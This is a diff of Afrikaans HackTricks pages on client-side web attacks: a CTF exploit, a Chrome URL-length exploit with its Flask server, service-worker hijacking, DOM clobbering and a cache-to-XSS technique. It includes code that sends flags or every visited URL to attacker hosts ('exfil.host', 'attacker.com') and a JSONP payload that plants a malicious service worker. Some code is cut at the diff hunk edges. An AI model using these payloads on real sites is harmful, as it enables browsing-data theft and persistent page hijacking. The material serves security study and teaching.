<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Voorbeeld geneem vanaf [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
**Voorbeeld geneem van [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# URL Maksimum Lengte - Kliëntkant
# URL Maks Lengte - Kliëntkant
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi Span Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi Span Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kode vanaf [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Kode van [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
<html>
<body></body>
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
</script>
</html>
```
Bedienerkant:
Server kant:
```python
from flask import Flask, request
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Misbruik van Dienswerkers
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Security Group**
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -24,32 +25,31 @@
## Basiese Inligting
'n **Dienswerker** is 'n skrip wat deur jou blaaier in die agtergrond uitgevoer word, afsonderlik van enige webbladsy, wat funksies moontlik maak wat nie 'n webbladsy of gebruikerinteraksie benodig nie, en sodoende **aflyn- en agtergrondverwerking**-vermoëns verbeter. Gedetailleerde inligting oor dienswerkers is beskikbaar [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.
'n **dienswerker** is 'n skrif wat deur jou blaaier in die agtergrond uitgevoer word, geskei van enige webblad, wat funksies moontlik maak wat nie 'n webblad of gebruikersinteraksie vereis nie, en dus **aflyn en agtergrondverwerking** vermoëns verbeter. Gedetailleerde inligting oor dienswerkers kan [hier](https://developers.google.com/web/fundamentals/primers/service-workers) gevind word. Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffer se interaksies met alle bladsye binne daardie domein.
### Kontroleer vir Bestaande Dienswerkers
Bestaande dienswerkers kan nagegaan word in die **Dienswerkers**-afdeling van die **Aansoek**-tabblad in die **Ontwikkelaarhulpmiddels**. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde aansig.
Bestaande dienswerkers kan in die **Dienswerkers** afdeling van die **Toepassing** oortjie in **Ontwikkelaar Gereedskap** nagegaan word. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde weergawe.
### Duw Kennisgewings
### Drukkenigings
**Duw kennisgewings-toestemmings** het direk 'n impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikerinteraksie. As toestemmings ontken word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te vorm. Daarteenoor verhoog die toekenning van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.
**Drukkenigings toestemmings** het 'n direkte impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikersinteraksie. As toestemmings geweier word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te wees. Omgekeerd, die toestaan van toestemmings verhoog sekuriteitsrisiko's deur die ontvangs en uitvoering van potensiële ontploffings moontlik te maak.
## Aanval deur 'n Dienswerker te Skep
## Aanval om 'n Dienswerker te Skep
Om hierdie kwesbaarheid uit te buit, moet jy vind:
Om hierdie kwesbaarheid te misbruik, moet jy vind:
* 'n manier om **willekeurige JS-lêers na die bediener te laai** en 'n **XSS om die dienswerker van die gelaai JS-lêer** te laai
* 'n **kwesbare JSONP-versoek** waar jy die uitset kan **manipuleer (met willekeurige JS-kode)** en 'n **XSS** om die **JSONP met 'n lading** te **laai wat 'n skadelike dienswerker sal laai**.
* 'n Manier om **arbitraire JS** lêers na die bediener op te laai en 'n **XSS om die dienswerker** van die opgelaaide JS-lêer te laai
* 'n **kwesbare JSONP versoek** waar jy die **uitset (met arbitraire JS kode)** kan **manipuleer** en 'n **XSS** om die **JSONP met 'n payload** te **laai wat 'n kwaadwillige dienswerker** sal **laai**.
In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te **registreer** wat na die `fetch`-gebeurtenis sal luister en sal **elke opgehaalde URL na die aanvallers se bediener stuur** (dit is die kode wat jy nodig het om na die **bediener te laai** of te laai via 'n **kwesbare JSONP**-antwoord):
In die volgende voorbeeld gaan ek 'n kode aanbied om 'n **nuwe dienswerker** te **registreer** wat na die `fetch` gebeurtenis sal luister en **elke opgevraagde URL na die aanvallers se bediener sal stuur** (dit is die kode wat jy nodig het om te **oplaai** na die **bediener** of te laai via 'n **kwesbare JSONP** antwoord):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
En hierdie is die kode wat die werker sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek gestuur word na die **aanvallers** bediener om te **meld** of die **registrasie** van die dienswerker suksesvol was of nie:
En dit is die kode wat die **werker** sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek na die **aanvallers** bediener gestuur word wat **kennis gee** of die **registrasie** van die dienswerker suksesvol was of nie:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,21 +67,21 @@ xhttp2.send();
});
</script>
```
In geval van misbruik van 'n kwesbare JSONP-eindpunt moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
In die geval van die misbruik van 'n kwesbare JSONP-eindpunt, moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Daar is 'n **C2** toegewy aan die **uitbuiting van Dienswerkers** genaamd [**Shadow Workers**](https://shadow-workers.github.io) wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
Die **24-uur cache riglyn** beperk die leeftyd van 'n skadelike of gekompromitteerde **dienswerker (SW)** tot hoogstens 24 uur na 'n XSS kwesbaarheidsherstel, mits die kliënt aanlyn is. Om die kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se Tyd-Tot-Leef (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n [**dienswerker-kill-schakelaar**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) te skep vir vinnige deaktivering.
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
## Misbruik van `importScripts` in 'n SW via DOM Clobbering
## Abusing `importScripts` in a SW via DOM Clobbering
Die funksie **`importScripts`** wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein **importe**. As hierdie funksie geroep word met 'n **parameter wat 'n aanvaller sou kon** wysig, sou hy in staat wees om 'n JS-skrips van sy domein te **importe** en XSS te kry.
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
**Dit verbygaan selfs CSP-beskerming.**
**This even bypasses CSP protections.**
**Voorbeeld van kwesbare kode:**
**Example vulnerable code:**
* **index.html**
```html
@ -105,9 +105,9 @@ Vir meer inligting oor wat DOM Clobbering is, kyk:
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
As die URL/domein waar die SW gebruik om **`importScripts`** te roep **binne 'n HTML-element** is, is dit **moontlik om dit te wysig deur middel van DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
As die URL/domein waar die SW gebruik maak van **`importScripts`** **binne 'n HTML-element** is, is dit **moontlik om dit te verander via DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
Vir 'n voorbeeld hiervan, kyk na die verwysingsskakel.
## Verwysings
@ -119,14 +119,17 @@ Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,50 +1,56 @@
# Chrome Cache na XSS
# Chrome Cache to XSS
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Meer in-diepte besonderhede [**in hierdie skryfstuk**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Meer in-diepte besonderhede [**in hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Die tegniek wat hier bespreek word, behels die verstaan van die gedrag en interaksie van twee primêre tipe cache: die **back/forward cache (bfcache)** en die **disk cache**. Die bfcache, wat 'n volledige afskrif van 'n bladsy insluit, insluitend die JavaScript-heap, het voorrang bo die disk cache vir terug/voorwaartse navigasies as gevolg van sy vermoë om 'n meer omvattende afskrif te stoor. Die disk cache stoor hulpbronne wat van die web afgehaal is sonder om die JavaScript-heap in te sluit, en word gebruik vir terug/voorwaartse navigasies om kommunikasiekoste te verminder. 'n Interessante aspek van die disk cache is dat dit hulpbronne wat met `fetch` opgehaal is, insluit, wat beteken dat die browser die URL-hulpbronne van die cache sal weergee.
Die tegniek wat hier bespreek word, behels die begrip van die gedrag en interaksie van twee primêre cache tipes: die **back/forward cache (bfcache)** en die **disk cache**. Die bfcache, wat 'n volledige snapshot van 'n bladsy stoor, insluitend die JavaScript heap, het prioriteit bo die disk cache vir terug/voor navigasies weens sy vermoë om 'n meer omvattende snapshot te stoor. Die disk cache, in teenstelling, stoor hulpbronne wat van die web verkry is sonder om die JavaScript heap in te sluit, en word gebruik vir terug/voor navigasies om kommunikasiekoste te verminder. 'n Interessante aspek van die disk cache is die insluiting van hulpbronne wat met `fetch` verkry is, wat beteken dat toegang URL hulpbronne deur die blaaier uit die cache gerender sal word.
### Sleutelpunte:
- Die **bfcache** het voorrang bo die disk cache in terug/voorwaartse navigasies.
- Om 'n bladsy wat in die disk cache gestoor is te gebruik in plaas van die bfcache, moet die laasgenoemde gedeaktiveer word.
- Die **bfcache** het voorrang bo die disk cache in terug/voor navigasies.
- Om 'n bladsy wat in disk cache gestoor is te gebruik in plaas van bfcache, moet laasgenoemde gedeaktiveer word.
Deaktiveer bfcache:
### Deaktiveer bfcache:
Standaard deaktiveer Puppeteer bfcache, in ooreenstemming met die voorwaardes wat in Chromium se dokumentasie vermeld word. Een effektiewe metode om bfcache te deaktiveer, is deur die gebruik van `RelatedActiveContentsExist`, wat bereik word deur 'n bladsy met `window.open()` te open wat 'n verwysing na `window.opener` behou.
Standaard deaktiveer Puppeteer bfcache, wat ooreenstem met die voorwaardes wat in Chromium se dokumentasie gelys is. Een effektiewe metode om bfcache te deaktiveer is deur die gebruik van `RelatedActiveContentsExist`, wat bereik word deur 'n bladsy met `window.open()` te open wat 'n verwysing na `window.opener` behou.
Herskep die gedrag:
### Herproduksie van die gedrag:
1. Besoek 'n webbladsy, bv. `https://example.com`.
2. Voer `open("http://spanote.seccon.games:3000/api/token")` uit, wat 'n bedienerreaksie met 'n 500-statuskode tot gevolg het.
3. Navigeer na `http://spanote.seccon.games:3000/` in die nuut geopende oortjie. Hierdie aksie stoor die reaksie van `http://spanote.seccon.games:3000/api/token` as 'n disk cache.
4. Gebruik `history.back()` om terug te navigeer. Die aksie lei daartoe dat die gekaapte JSON-reaksie op die bladsy weergegee word.
1. Besoek 'n webblad, bv. `https://example.com`.
2. Voer `open("http://spanote.seccon.games:3000/api/token")` uit, wat 'n bedienerantwoord met 'n 500 statuskode tot gevolg het.
3. In die nuut geopende oortjie, navigeer na `http://spanote.seccon.games:3000/`. Hierdie aksie cache die antwoord van `http://spanote.seccon.games:3000/api/token` as 'n disk cache.
4. Gebruik `history.back()` om terug te navigeer. Die aksie lei tot die rendering van die gecachede JSON antwoord op die bladsy.
Bevestiging dat die disk cache gebruik is, kan bevestig word deur die gebruik van DevTools in Google Chrome.
Verifikasie dat die disk cache gebruik is, kan bevestig word deur die gebruik van DevTools in Google Chrome.
Vir verdere besonderhede oor bfcache en disk cache, kan verwysings gevind word by [web.dev oor bfcache](https://web.dev/i18n/en/bfcache/) en [Chromium se ontwerpdokumente oor disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) onderskeidelik.
Vir verdere besonderhede oor bfcache en disk cache, kan verwysings gevind word by [web.dev oor bfcache](https://web.dev/i18n/en/bfcache/) en [Chromium se ontwerpdokumente oor disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), onderskeidelik.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
